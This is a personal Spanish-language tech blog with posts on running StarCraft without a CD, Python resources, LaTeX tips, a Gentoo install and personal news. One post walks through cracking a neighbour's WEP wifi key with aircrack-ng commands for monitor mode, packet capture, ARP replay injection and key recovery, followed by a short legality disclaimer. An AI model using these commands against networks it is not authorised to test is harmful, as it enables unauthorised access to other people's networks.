jueves 20 de marzo de 2008

HOWTO install StarCraft NOCD

According to this technical note at Blizzard.com, it's official: "StarCraft and StarCraft: BroodWar no longer require the CD while playing the game."

No cracks, keygens or unofficial patches needed. The only cons is that you need to copy the installer file, that is almost 600 MB long. (But who cares about half a GB nowadays?)

These are 3 easy steps to do it:
  1. Install StarCraft Patch 1.15.2.
    It is officially available at the "Starcraft Patch Information" page. Just download the executable and run it.
  2. Copy the installer executable to the game's folder and rename it.
    On Windows: Copy "INSTALL.EXE" from the StarCraft CD to the folder where you've installed the game and rename it as "StarCraft.mpq". (You may need to disable file extension hiding in Folder options.) Same for StarCraft: Brood War: Copy this game's "INSTALL.EXE" to the folder where you've installed it and rename it as "BroodWar.mpq".
    On Mac: Copy "StarCraft Archive" from the StarCraft CD to your StarCraft folder. For StarCraft: Brood War: You may also copy "Brood War Archive" to the same folder.
  3. Enjoy playing StarCraft without CD!

This information was very useful to me while trying to bring back good old times of RTS gaming after many years of dull university life. Hehehe...

jueves 31 de enero de 2008

Python Essentials

Hace casi exactamente 2 meses que aprendí Python y desde entonces vengo trabajando en una web application que promete ser un web service aggregator muy interesante.

A continuación una serie de links fundamentales para todo py-developer:


  • El tutorial que debería ser el primero de toda persona que aprenda Python: Python Tutorial by Guido van Rossum


  • Tutoriales más avanzados: Dive into Python


  • ¿Python Argentina? ¡PyAr!


  • Para referencia rápida, resulta útil tener en el browser un "Python Documentation" search engine. De hecho, Python Documentation es un punto de partida para todas las APIs.


  • ¿Por qué Python es tan potente? Por ejemplo, porque es muy fácil hacer un OOP dynamic proxy.


  • ¿Por qué Python es tan potente? (bis) Puede ser interpretado por ejemplo con ipython, lo cual es sumamente útil a la hora de probar nuevos códigos o hacer testing y debugging de funciones, como si programaras "on-the-fly".


  • ¿Qué tan difícil es instalar módulos de Python?: "Easy Install is a python module (easy_install) bundled with setuptools that lets you automatically download, build, install, and manage Python packages."


  • "El" framework para proyectos web de Python es Pylons: "Pylons combines the very best ideas from the worlds of Ruby, Python and Perl, providing a structured but extremely flexible Python web framework. It's also one of the first projects to leverage the emerging WSGI standard, which allows extensive re-use and flexibility — but only if you need it. Out of the box, Pylons aims to make web development fast, flexible and easy."


  • Como herramienta de desarrollo de aplicaciones web está Paster: "Python Paste brings consistency to Python web development and web application installation, providing tools for both developers and system administrators."


  • Para los que buscan alternativas a la forma en que se suelen mezclar lenguajes como PHP, ASP y JSP en medio de HTML: Mako templates


  • Tutorial básico para manejar forms en Pylons: Form Handling


  • Un módulo para Python que hace trivial la validación de formularios: FormEncode Validation


  • Un ORM que si bien todavía está bastante verde me sorprendió, es Elixir: "Elixir is a declarative layer on top of the SQLAlchemy library. It is a fairly thin wrapper, which provides the ability to create simple Python classes that map directly to relational database tables (this pattern is often referred to as the Active Record design pattern), providing many of the benefits of traditional databases without losing the convenience of Python objects."


  • Una librería de procesamiento de imágenes que hace de todo: PIL


  • Algunos módulos de Python son un "Swiss Army knife" para el programador: feedparser, htmllib, re, datetime, beautifulsoup, routes, etc.


  • Y aunque no sea de Python: Una librería que lleva al Javascript a un nivel de expresividad muy superior (y en especial en cuanto a manejo del DOM, uso de Json y AJAX, animaciones y efectos visuales, aspectos de lenguajes funcionales, eventos, etc.): Mootools


sábado 29 de diciembre de 2007

¿Se puede pinchar una red inalámbrica con clave WEP?

Gracias a este artículo de SmallNetBuilder sobre WEP Cracking, hoy pude comprobar que se puede crackear la clave WEP (Wired Equivalent Privacy) para conectarse a una red inalámbrica. O dicho para que lo entienda mi abuela, si tu vecino tiene una conexión a Internet por wifi que nunca pudiste usar porque desconocés la clave de acceso WEP, es posible averiguarla sin mayor dificultad.

El único requisito (además de tener una placa de red inalámbrica adecuada y encontrar una red wifi de tales características, con al menos un cliente que se conecte cada tanto), es instalar el paquete aircrack-ng. En Ubuntu Linux, esto se puede hacer desde el gestor Synaptics o con:
sudo apt-get install aircrack-ng

Básicamente los comandos que tuve que correr son:
# PRIMERO: MODO MONITOR
# Para poner el adaptador wireless en modo monitor:
# (ath0 y wifi0 dependen del adaptador)
airmon-ng stop ath0
airmon-ng start wifi0
# SEGUNDO: CAPTURAR PAQUETES
# Para empezar a capturar paquetes de cualquier Access Point (AP) y
# registrar los vectores de inicialización (IVs) necesarios para el cracking:
airodump-ng --ivs --write capturefile ath0
# Con esto se averiguan 3 datos a utilizar luego: Número del canal,
# BSSID del Access Point y BSSID de un cliente asociado.
# Para capturar paquetes sólo del AP deseado:
airodump-ng --ivs --channel [número del canal] --bssid [BSSID del Access Point] --write capturefile ath0
# TERCERO: ACELERAR CAPTURA
# Para acelerar la captura de paquetes generando tráfico ARP:
# (Hay que llegar a muchos #Data, al menos 300.000)
aireplay-ng --arpreplay -b [BSSID del Access Point] -h [BSSID del cliente asociado al AP] ath0
# CUARTO: CRACK
# Una vez registrados suficientes IVs, usarlos para crackear la clave del AP
aircrack-ng -b [BSSID del Access Point] capturefile*.ivs
# Encontrada la clave se puede ingresar como hexadecimal (sin los ":")
# al intentar conectarse a la red wireless en cuestión.

Esto es sólo un resumen para mostrar con sólo 4 comandos del paquete aircrack (y casi ningún conocimiento de redes inalámbricas), se puede crackear la clave WEP del Access Point. Para mayores detalles, recomiendo el artículo que mencioné antes.

Ahora que sabés cómo crackear la clave WEP de una red inalámbrica, no hagas nada ilegal. Este artículo es de interés técnico: Ahora sabés que se puede robar la conexión a una red inalámbrica con clave WEP así como se pincha el teléfono y la televisión por cable.

martes 20 de noviembre de 2007

Panorámicas del Cerro Uritorco

Este es un video que compilé recientemente con lo que filmé en las vacaciones de invierno en Capilla del Monte, cuando subí al Cerro Uritorco.

martes 2 de octubre de 2007

Me verás volver a la ciudad de la furia...

Vuelve Soda. Ya tengo entradas para el 3 noviembre en River.

Gracias al blog de Sodafans, podemos escuchar la conferencia de prensa que dieron hace unos días en San Telmo:

viernes 28 de septiembre de 2007

Algunos tips útiles para LaTeX

Para escribir con tildes y tener separación de sílabas en español

Entre los paquetes incluidos agregar:

\usepackage[latin1]{inputenc}
\usepackage[spanish]{babel}

Para usar gráficos EPS escalados al ancho del texto

Entre los paquetes incluidos agregar:

\usepackage[dvips]{epsfig}
\usepackage{graphics}
\def\epsfsize#1#2{\textwidth}

Y luego para poner un grafico EPS:

\begin{figure}
\begin{center}
\epsffile{../graficos/frec_relativa.eps}
\caption{Frecuencias relativas del experimento.}
\label{fig:frec_relativa}
\end{center}
\end{figure}

Para usar la plantilla de artículo de la AMS

Cambiar la clase de documento a:

\documentclass[a4paper,10pt]{amsart}

Para poner la bibliografía

\begin{thebibliography}{}
\bibitem[Matthews-Fink, 2003]{Matthews-Fink} Mathews, J. H. y
Fink, K. D. (2003), \emph{Métodos numéricos con MATLAB}.
3a edición. Prentice Hall.
\end{thebibliography}

Para renombrar "Cuadro", "Abstract", "Referencias" y otros

Luego del comienzo del documento (\begin{document}) agregar alguno de estos:

\renewcommand{\figurename}{Figura}
\renewcommand{\abstractname}{Resumen}
\renewcommand{\refname}{Bibliografía}
\renewcommand{\tablename}{Tabla}
\renewcommand{\languagename}{}
\renewcommand{\figurename}{Figura \thefigure} % útil para beamer
\renewcommand{\tablename}{Tabla \thetable} % útil para beamer

Para hacer presentaciones de diapositivas

Cambiar la clase de documento a:

\documentclass{beamer}

sábado 18 de agosto de 2007

Instalando Gentoo Linux en una Compaq Presario 1255 - Parte 3

Siguiendo con el recuento de la instalación de Gentoo que hice en una laptop Compaq Presario 1255, llegó el momento de instalar en disco el sistema de base como se indica en la Capítulo 5 y 6 del manual de instalación del Gentoo Handbook.

Antes que nada es importante tener la fecha bien puesta o de lo contrario algunas instalaciones pueden fallar. Verificarlo ejecutando date. Para cambiarla hay que ejecutar el mismo comando con un parámetro de fecha escrita en formato mes-día-hora-minutos-año (todo con 2 dígitos salvo por el año que son 4). O para más información consultar man date. Por ejemplo:

# date 081822502007

Para instalar el sistema de base, tuve que bajar el stage3 ya que esta instalación fue a partir de un Knoppix. No tuve a mano un LiveCD y menos para la arquitectura i586 del microprocesador AMD K6 II que trae la Compaq Presario 1255.

Knoppix maneja DHCP a través del servicio pump. Esta información me bastó para arreglármelas con mi conexión al cablemodem de Fibertel, la placa PCMCIA 3Com EtherLink III que traía esta laptop y la auto-configuración que hace el Knoppix de ella con el cardmgr. Por cualquier duda, los DNS servers de Fibertel son (para poner en /etc/resolv.conf):

# Generated by dhcpcd for interface eth1
nameserver 200.49.156.8
nameserver 200.49.156.3
nameserver 200.49.156.7
nameserver 172.20.2.12

Para ver la configuración de las interfaces de red activas se puede correr ifconfig, y para probar la conexión a Internet se puede hacer un ping gentoo.org. Todo esto me funcionó bastante automáticamente con el Knoppix como para que pueda navegar por Internet con el links (web browser para consola). Toda esta parte es muy dependiente de cada situación particular de conexión a Internet o a alguna intranet así que hasta aquí llega mi ayuda.

Antes de seguir, conviene posicionarse en la ruta donde fue montada la partición principal del disco rígido:

# cd /mnt/gentoo

Ahora hay que bajar 2 archivos (y sus correspondientes sumas de verificación para chequear su integridad con md5sum -c ...):
stage3-i586-200?.?.tar.bz2
portage-latest.tar.bz2
(donde ? es el número más alto disponible y i586 se refiere a la arquitectura del microprocesador AMD K6 II que tiene la laptop en cuestión.)

Se puede utilizar el links para elegir un mirror de donde bajarlos:

# links http://www.gentoo.org/main/en/mirrors.xml

Para descomprimir ambos tarballs:

# tar xvjpf stage3-*.tar.bz2
# tar xvjf /mnt/gentoo/portage-latest.tar.bz2 -C /mnt/gentoo/usr

Finalmente, hay que personalizar las opciones de compilación para el Portage:

# nano -w /mnt/gentoo/etc/make.conf

# Please consult /etc/make.conf.example for a more detailed example
CFLAGS="-march=i586 -O2 -pipe"
CHOST="i586-pc-linux-gnu"
CXXFLAGS="${CFLAGS}"
MAKEOPTS="-j2"
ACCEPT_KEYWORDS=""
USE="X .............." # Consultar Gentoo wiki para personalizar esta línea
VIDEO_CARDS="via"
INPUT_DEVICES="keyboard mouse"
ALSA_CARDS="via82xx"
PORTDIR_OVERLAY=/usr/local/portage
LINGUAS="es_AR es en"
SYNC="rsync://rsync.samerica.gentoo.org/gentoo-portage"
GENTOO_MIRRORS="ftp://mirrors.localhost.net.ar/pub/mirrors/gentoo "